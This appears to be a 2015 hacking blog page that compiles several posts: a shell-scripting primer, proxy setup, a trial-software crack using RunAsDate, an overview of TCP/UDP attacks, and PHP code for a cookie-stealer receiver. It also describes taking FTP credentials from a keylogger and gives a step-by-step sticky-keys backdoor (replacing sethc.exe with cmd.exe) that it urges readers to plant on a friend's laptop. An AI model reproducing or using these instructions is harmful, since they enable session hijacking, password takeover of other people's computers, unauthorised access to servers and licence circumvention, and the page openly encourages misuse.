Wednesday, January 7, 2015

What is a shell script or shell scripting

A Shell script can be defined as - "a series of command(s) stored in a plain text file". A shell script is similar to a batch file in MS-DOS, but it is much more powerful compared to a batch file. Shell scripts are a fundamental part of the UNIX and Linux programming environment.  Normally shells are interactive. It means the shell will accept command from you (via keyboard) and execute them. However, if you store a sequence of commands to a text file and tell the shell to execute the text file instead of entering the commands, that is known as a shell program or shell script.

Each shell script consists of - Shell keywords such as if-else, do-while. Shell commands such as pwd, test, echo, continue, type. Linux binary commands such as w, who, free etc. Text processing utilities such as grep, awk, cut. Functions - add frequent actions together via functions. For example, /etc/init.d/functions file contains functions to be used by most or all system shell scripts in the /etc/init.d directory. Control flow statements such as if-then-else or shell loops to perform repeated actions.

Why we use Shell Scripting?
§  Shell scripts are useful for automating processes that you repeat at the prompt.
§  Shell scripts can take input from a user or file and output them to the screen.
§  Whenever you find yourself doing the same task over and over again you should use shell scripting, i.e., repetitive task automation.
§  Creating your own power tools/utilities.
§  Automating command input or entry.
§  Customizing administrative tasks.
§  Creating simple applications.
§  Since scripts are well tested, the chances of errors are reduced while configuring services or system administration tasks such as adding new users.

Shell Scripts used by me mostly:-
Shell scripting makes your Linux easy and here some examples of scripts that I use mostly while working on my Linux Box:
§  Find out what that site is running (just like www.thehackernews.com or www.cyberarmy.in).
§  Download RSS feeds and display them as you login or in your email (Updates from my favourite websites).
§  Find out the name of the MP3 file you are listening to (My own playlist).
§  Monitor your domain expiry date every day (100’s of Website I manage, for me it’s impossible to remember that which of the domain going to expire and when :P ).
§  Collecting the Web stats of my all websites and their comparison with previous day stats. This way I concentrate on Seo of my Projects.
§  A Notice Board, where I note down all task that have to do on any particular day or time, The script automatically popup a message on screen to remember me tasks.

Practical examples of shell scripting:-
§  Monitoring your Linux system.
§  Data backup and creating snapshots.
§  Dumping Oracle or MySQL database for backup.
§  Creating email based alert system.
§  Find out what processes are eating up your system resources.
§  Find out available and free memory.
§  Find out all logged in users and what they are doing.
§  Find out if all necessary network services are running or not. For example if web server failed then send an alert to system administrator via a pager or an email.
§  Find out all failed login attempt, if login attempt are continue repeatedly from same network IP automatically block all those IPs accessing your network/service via firewall.
§  User administration as per your own security policies.
§  Find out information about local or remote servers.
§  Configure server such as BIND (DNS server) to add zone entries.

How to use Bash scripts?
Open the terminal on your Linux machine and enter the command as follows:
./cyberarmy.sh [Arguments]
Here the script name is “cyberarmy”, format of script is “.sh” and [arguments] – If any input required (Depends upon script).

Advantages
§  Easy to use.
§  Quick start and interactive debugging.
§  Time Saving.
§  Sys Admin task automation.
§  Shell scripts can execute without any additional effort on nearly any modern UNIX / Linux / BSD / Mac OS X operating system as they are written an interpreted language.
Disadvantages
§  Compatibility problems between different platforms.
§  Slow execution speed.
§  A new process launched for almost every shell command executed.

What Is A Proxy Server And How To Use It for Security

Lets start, Proxies are store-and-forward caches. When you configure your web browser to use a proxy, it never connects to the URL. Instead, it always connects to the proxy server, and asks it to get the URL for you. Proxies can be used as a sort of firewall, because it isolates you from connecting to the Internet. When you use a proxy server, your computer will send a request to the proxy server, then the proxy server will send it to the destination (for example a website), the destination will answer the request the proxy has sent and finally the proxy will return the data to you computer. For example when you visit www.cyberarmy.in via proxy, it looks like this:


Why should you use proxy servers ?
    * Using proxy server you can bypass security/ parental controls.
    * To scan transmitted content before delivery for malware.
    * Proxy server is able to increase or decrease the speed of your connection to the Internet depending on the location of the prox.
    * Proxy server ( but only anonymous) can hide your IP address (the resource you visit will retrieve the IP of the proxy, and not your.
    * Proxy servers can help in case some owner of an Internet resource impose restrictions for users from certain countries ( for example hulu.com is only reserved for those from United States, if you are not from United States, you can’t watch videos on hulu.com)


How to use a proxy server ?

It is simple, just follow these instructions for Internet Explorer

1. Open Internet Explorer

2. In the Menu bar, select Tools, then Internet Options

3. After that click the Connection tab

4. In the Connection tab, on the bottom , you will find LAN settings;

5. In LAN tab, check "Use a proxy server for your LAN (These settings will not apply to dial-up or or VPN connections)", in Address add the IP Addresses of the proxy you would like to use, and add Port, and finally click OK. It looks like this:

In this example i am using an anonymous proxy server from United Kingdom with this IP address: 64.66.192.61 and port 80.

The same is for Mozilla Firefox

1. Open Mozilla Firefox

2. In Menu bar, select Tools, then Options…

3. After this will appear Options window, click Advanced tab

4. In Advanced tab, you will find Settings, click it

5. In Settings tab, check Manually proxy configuration, in HTTP Proxy add IP addresses from proxy server, and add Port, you can also set sites where you wont't use proxy server. For Example if you are from Germany, no sense to use a proxy server for German sites.
In the end click Ok;

I used the same proxy server(therefore the same address) also for Mozilla.

Instructions for Netscape:

1. Select the Tools Menu
2. Select Options
3. Select General
4. Select Connection Settings...
5. Check Manual Proxy Configuration
6. Enter the proxy server's IP address in the HTTP Proxy field and the proxy's port into the Port field.
7. OK your way out

Instructions for Opera

1. Select the Tools Menu
2. Select Preferences
3. Select Advanced Tab
4. Select Proxy Servers
5. Check the box next to HTTP
6. Enter the proxy server's IP address in the first box and the proxy's port in the box after "Port"
7. OK your way out

How to Hack Softwares to use them Forever

Hi, I am back today with a most usefull article..Hope all of you will Like It ! Here i will show you that "How to Hack Softwares to use them Forever ?" . That really a useful article,because in our daily life we need thousand of softwares today,which of most are highly paid..So how to use them Freely for whole Like ??

Most of us are familiar with many softwares that run only for a specified period of time in the trial mode.Once the trial period is expired these softwares stop functioning and demand for a purchase.But there is a way to run the softwares and make them function beyond the trial period. Isn’t this interesting?

Before I tell you how to hack the software and make it run in the trial mode forever, we have to understand the functioning of these softwares.I’ll try to explain this in brief.Because Purpose if ICA is 1st to clear your basics.So,When these softwares are installed for the first time, they make an entry into the Windows Registry with the details such as Installed Date and Time, installed path etc.After installation every time you run the software, it compares the current system date and time with the installed date and time.So, with this it can make out whether the trial period is expired or not.

So with this being the case, just manually changing the system date to an earlier date will not solve the problem.For this purpose there is a small Tool known as RunAsDate.

RunAsDate is a small utility that allows you to run a program in the date and time that you specify. This utility doesn’t change the current system date, but it only injects the date/time that you specify into the desired application.

Download RunAsDate v1.10

Intercepts the kernel API calls that returns the current date and time (GetSystemTime, GetLocalTime, GetSystemTimeAsFileTime), and replaces the current date/time with the date/time that you specify.It works with Windows 2000, XP, 2003 and Vista.

NOTE: FOLLOW THESE TIPS CAREFULLY
You have to follow these tips carefully to successfully hack a software and make it run in it’s trial mode forever.
1. Note down the date and time, when you install the software for the first time.
2. Once the trial period expires, you must always run the software using RunAsDate .
3. After the trial period is expired, do not run the software(program) directly.If you run the software directly even once, this hack may no longer work.
4. It is better and safe to inject the date of the last day in the trial period.

For example, if the trial period expires on oct 1 2009, always inject the date as sep 30 2009 in the RunAsDate.

Warning : AVG Antivirus reports that RunAsDate is infected with "Trojan horse Generic 10.Thk". This will not harm ur pc,warning is just bcoz this is a wondow registry hack tool !

What is TCP/IP & UDP Attacks

Hello, Lets explain "TCP/IP & UDP Attacks", Most common and effective Web attacks...Lets Know abt its basic and types...

TCP/IP Attacks

1. TCP SYN or TCP ACK Flood Attack
2. TCP Sequence Number Attack
3. TCP/IP

UDP attacks

1. ICMP Attacks
2. Smurf Attacks
3. ICMP Tunneling

TCP operates using synchronized connections. The synchronization is vulnerable to attack; this is probably the most common attack used today. The synchronization or handshake, process initiates a TCP connection. This handshake is particularly vulnerable to a DoS attack referred to as the TCP SYN Flood attack. The process is also susceptible to access and modification attacks, which are briefly explained in the following sections.

TCP SYN or TCP ACK Flood Attack - This attack is very common... The purpose of this attack is to deny service. The attack begins as a normal TCP connection: the client and the server exchange information in TCP packets. The TCP client continues to send ACK packets to the server, these ACK packets tells the server that a connection is requested. The server thus responds to the client with a ACK packet, the client is supposed to respond with another packet accepting the connection to establish the session. In this attack the client continually send and receives the ACK packets but it does not open the session. The server holds these sessions open, awaiting the final packet in the sequence. This cause the server to fill up the available connections and denies any requesting clients access.

TCP Sequence Number Attack - This is when the attacker takes control of one end of a TCP session. The goal of this attack is to kick the attacked end of the network
for the duration of the session. Only then will the attack be successful. Each time a TCP message is sent the client or the server generates a sequence number. The attacker intercepts and then responds with a sequence number similar to the one used in the original session. This attack can then hijack or disrupt a session. If a valid sequence number is guessed the attacker can place himself between the client and the server. The attacker gains the connection and the data from the legitimate system. The only defense of such an attack is to know that its occurring... There is little that can be done...

TCP Hijacking - This is also called active sniffing, it involves the attacker gaining access to a host in the network and logically disconnecting it from the network. The attacker then inserts another machine with the same IP address. This happens quickly and gives the attacker access to the session and to all the information on the original system.

UDP packets aren't connection oriented and don't require the synchronization process as with TCP. UDP packets, however, are susceptible to interception, thus it can be attacked. UDP, like TCP, doesn't check the validity of an IP address. The nature of this layer is to trust the layer above it (I'm referring to the IP layer). The most common UDP attacks involve UDP flooding. UDP flooding overloads services, networks, and servers. Large streams of UDP packets are focused at a target, causing UDP services on that host to shut down. It can also overload the network and cause a DoS situation to occur.

ICMP Attacks - This occur by triggering a response from the ICMP protocol when it responds to a seemingly legitimate request (think of it as echoing). Ping for instance, that uses the ICMP protocol. sPing is a good example of this type of attack, it overloads te server with more bytes than it can handle, larger connections. Its ping flood.

Smurf Attacks - This attack uses IP spoofing and broadcasting to send a ping to a group of hosts on a network. When a host is pinged it send back ICMP message traffic information indicating status to the originator. If a broadcast is sent to network, all hosts will answer back to the ping. The result is an overload of network and the target system. The only way to prevent this attack is to prohibit ICMP traffic on the router.

ICMP Tunneling - ICMP can contain data about timing and routes. A packet can be used to hold information that is different from the intended information. This allows an ICMP packet to be used as a communications channel between two systems. The channel can be used to send a Trojan horse or other malicious packet. The counter measure is to deny ICMP traffic on your network.

Warning : ICMP can be very dangerous..and Even,as i said ...Don't try such attack from your pc,untill you don't know that how to be invisible on net ! Beccause once you get traced out ...No one can help you from Troubles..

Thankyou

How To Make A Cookie Stealer Php Script

Hi friends, Lets know that exactly how does acookie stealer work. There are two components in a cookie stealer: the senderand the receiver. 

The sender can take many forms. In essense, it's just a link to the receiver with the cookie somehow attached. It can sometimes be difficult to find a way to implement the sender.

The receiver, as the name suggests, is a device which receives the cookie from the sender. It can also take several forms, but the most common is that of a PHP document, most commonly found residing on some obscure webserver.

Php Coding a receiver is the part. Only two things are needed to make a receiver : a webhost/ftp which supports PHP, and Notepad (see the end of the text for a link to some free PHP hosts).

As I said, the receiver's job is to receive the cookie from the sender. Once the receiver has the cookie, it needs a way to get that cookie to you.


<?php                                      // line 1
$cookie = $HTTP_GET_VARS["cookie"];       // line 2
$file = fopen('cookielog.txt', 'a');     // line 3
fwrite($file, $cookie . "\n\n");        // line 4
?>

Line 1 tells the server that this is indeed a PHP document.
Line 2 takes the cookie from the URL ("stealer.php?cookie=x") and stores it in the variable $cookie.
Line 3 opens the file "cookielog.txt" for writing, then stores the file's handle in $file.
Line 4 writes the cookie to the file which has its handle in $file. The period between $cookie and "\n\n" combines the two strings as one. The "\n\n" acts as a double line-break, making it easier for us to sift through the log file.
Line 5 is the same as before.

Done ! Just upload the files on ftp server and make permission of text file "cookielog.txt" to 777. How to grab cookies is explained in next articles "Complete tutorial on Cross Site Scripting / XSS Hacking !"
Thank you for reading this articles.

Decode Keyloggers and Stealers - Get passwords of Hackers

Hello, here method to hack the hackers..If you have a keylogger on your computer, and you know the file, this process will easily give you the FTP website they are using so you can get the logs for the files, and if they use the same keyloggers on other computers, you’ll get the logs for that to.

What is Reverting ?
Reverting generally means reversing an action or undoing the changes. Here in our case, reverting would be more of reversing the action. For this we will need a key logger server using ftp. It can be found on warez sites, you tube etc.

Tools needed:
1) Key logger, pass stealer
2) Cain and Abel
3) Virtual machine (so you don't get infected, and what if the hacker is using better protocol that'd be epic fail)

Follow the Following Steps.....
1.) Execute the key logger on your virtual machine.


2.) Now run Cain and Abel and do the following things as per stated order.


3.) Wait for sometime and then check back the passwords area.


4.) As you can see the key logger used ftp protocol to transfer the logs. Ftp protocol isn't very safe since it doesn't encrypt the data. Anyways you should see the ip address where your pc is sending packets. And also the user name and password. This might not work if the server is using other protocol like http smtp etc you'll most probably get junk values in user and pass box if those protocols are used.

So i open the ip address http://66.220.9.50/


5.) Now you have username and pass from "Cain and Abel" ... So Login and Hit The Hacker !!!!

Hope that ,this article will be helpful for you, now go and collect all viruses and try this method... Hope u will get good Results..

Setting Backdoor in Windows | Command Prompt On Logon Screen

Lets assume that you have just cracked victim's windows password.  or simply got access to his windows for some time. Can you make some changes in windows so that you could access the windows again even if victim changes the password ?? or Can you make any changes in your own windows so that you could access it anytime even if anybody sets/changes password ?
Simply Can we set a backdoor in windows ?
Yes we can :) .
Backdoor actually means maintaining access.
okay lets do one thing first. Open your command prompt (run as administrator in win 7/vista).

Type the following command :

Syntax : net user account.name *
Example: net user administrator *
and hit enter. Set any password for that account.


Hopefully your new password must have been set. did you notice one thing ? It didn't ask you to confirm old password. Now suppose if anyhow we manage to access command prompt at logon screen (without logging in), we can easily change/clear password.
Okay lets move on.
Now press shift key five times and you must have got a dialog box "sticky keys" on screen.


Sticky keys is a feature that makes it easy for users who have physical  disablilities to press multiple keys at time.   This is the only feature which can be used before logging in at logon screen ( as per my knowledge). I repeat this feature can be used at  logon screen by pressing shift key five times.
Whenevr we start an application like paint, we are actually running mspaint.exe placed in C:\windows\system32. or command prompt, we are running cmd.exe placed in system32 directory, similary
When we press shift key 5 times or use sticky keys feature, system actually starts the executable file
sethc.exe placed in system32 directory. This means if we rename cmd.exe to sethc.exe and press shift 5 times, system would again start sethc.exe but instead of sticky keys the command prompt will be opened.
But you just cant simply rename it or change system32 files. Follow the tutorial for that.

 Tutorial :

* Go to C:\windows\system32
* Copy cmd.exe on your desktop and rename it to sethc.exe .
*Now copy that file and paste again in system32 directory.

@ Windows XP Users

Hopefully existing orignal sethc.exe must have been replaced and your job is done. Now press shift five times and you would see command prompt on screen.You can access command prompt at windows logon screen and change/clear the password easily using "net user" command.

Note: You can also do these changes while using windows Guest Account. But when you would access command prompt at logon screen, you can change/clear password even of administrator's account. This is exactly how , we can hack into administrator's account through guest account.

@ Windows vista/7 Users


You must have got a pop up box saying "Access Denied".

Actually you can not change system32 directory files until you do not have the permissions. You can not have the permissions until you do not have the ownership. So lets take ownership, change permissions, just follow the steps.

1. Right click on sethc.exe and run as administrator.  Again right click on sethc.exe, open properties.
Click on Advanced tab , then on owner and click edit, change the owner from "trusted installer" to "administrator" and click apply.

2. Then click on 'Edit' in security tab to edit permissions. Click on 'Administrators' , give it full control
and apply changes.


Okay its done now.

Now try replacing the orignal sethc.exe with our sethc.exe (got by renaming cmd.exe).
Press shift key five times and hopefully you would get command prompt on the screen instead of sticky keys.

Enjoy Command prompt at logon screen...

So do not forget to set this backdoor whenever you would get friend's  laptop for a few minutes... :)